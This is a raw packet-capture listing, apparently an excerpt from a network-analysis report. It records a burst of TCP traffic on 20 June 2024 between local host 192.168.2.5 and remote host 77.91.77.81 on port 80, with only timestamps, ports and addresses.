Jun 20, 2024 15:38:15.086411953 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086424112 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086443901 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086455107 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086477995 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086508989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086524963 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086541891 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086554050 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086575031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086584091 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086607933 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.086636066 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.086652994 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.119657040 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.119684935 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.119700909 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.119724989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.119740963 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.119755030 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.119771957 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.119792938 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.119846106 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.123531103 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.123545885 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.123570919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.123585939 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.123600960 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.123601913 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.123613119 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.123617887 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.123632908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.123650074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.123675108 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.125245094 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125261068 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125276089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125314951 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.125319004 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125334978 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.125339031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125356913 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125370979 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125372887 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.125386953 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.125387907 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125402927 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.125411987 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125426054 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125427961 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.125439882 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125452995 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.125459909 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125467062 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.125483990 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125487089 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.125498056 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125505924 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.125514030 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.125515938 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.125533104 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.125549078 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168109894 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168123960 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168148041 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168164015 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168179035 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168184996 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168195009 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168210983 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168225050 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168241024 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168265104 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168296099 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168312073 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168334961 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168338060 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168348074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168411970 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168426037 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168440104 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168452978 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168454885 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168471098 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168472052 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168492079 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168514967 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168518066 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168531895 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168546915 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168559074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168562889 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168577909 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168577909 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168580055 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168596029 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.168621063 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168637991 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.168654919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.169456959 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.169497967 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170146942 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170161009 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170185089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170200109 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170201063 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170213938 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170221090 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170229912 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170245886 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170245886 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170253992 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170264006 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170277119 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170277119 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170311928 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170537949 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170552015 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170578957 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170591116 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170593977 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170609951 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170635939 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170650005 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170727015 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170741081 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170767069 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170768023 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170777082 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170779943 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170794010 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170813084 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170818090 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170831919 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170831919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170846939 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170857906 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170862913 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170877934 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170888901 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170902014 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170907021 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170922041 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170937061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.170964003 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170983076 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.170990944 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171005964 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171022892 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171036959 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171042919 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171066046 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171078920 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171108961 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171123981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171138048 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171153069 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171149015 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171166897 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171169043 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171176910 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171200991 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171216011 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171241999 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171257019 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171272993 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171288967 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171297073 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171314001 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171322107 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171335936 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171335936 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171350956 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171360016 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171367884 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171380043 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171389103 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171401024 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171427965 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171442986 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171468973 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171469927 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171483994 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171490908 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171499014 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171510935 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171519041 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171540022 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171580076 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171595097 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171611071 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171618938 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171624899 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171639919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171643972 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171653032 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171665907 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171679974 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171720982 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171736002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171761990 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171775103 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171777010 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171793938 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171818972 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171854973 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171891928 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171906948 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171943903 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.171976089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.171991110 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.172007084 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.172020912 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.172034025 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.172035933 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.172051907 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.172051907 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.172065020 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.172065973 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.172085047 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.172095060 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.172103882 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.206726074 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.206742048 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.206758976 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.206829071 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.206829071 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.206831932 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.206845999 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.206861019 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.206876040 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.206890106 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.206901073 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.206928968 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.210469007 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.210484028 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.210500002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.210525036 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.210530996 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.210540056 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.210551023 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.210556030 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.210572004 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.210576057 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.210582972 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.210601091 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.210609913 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.212081909 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212095022 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212110043 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212132931 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212136030 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.212146044 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.212147951 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212163925 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212171078 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.212178946 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212191105 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.212203026 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.212229013 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212243080 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.212243080 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212258101 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212265968 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.212274075 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212282896 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.212290049 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212301016 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.212312937 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.212321997 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.212344885 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212359905 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212389946 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.212399960 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.212832928 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255388975 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255407095 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255423069 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255446911 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255461931 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255470037 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255485058 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255498886 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255517960 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255526066 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255538940 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255561113 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255599976 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255614996 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255630970 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255640984 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255645037 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255650043 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255661011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255676031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255691051 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255733013 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255733013 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255733013 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255733013 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255733013 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255778074 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255793095 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255806923 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255822897 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255835056 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255837917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255852938 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255860090 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255867004 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.255902052 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.255903006 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.257045984 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.257087946 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.257091999 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.257107019 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.257147074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.257189989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.257205009 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.257220030 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.257235050 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.257261992 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.257261992 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.257277966 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.258038044 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.258053064 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.258069038 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.258091927 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.258102894 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.258110046 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:15.258117914 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.258132935 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:15.258147955 CEST	80	49710	77.91.77.81	192.168.2.5
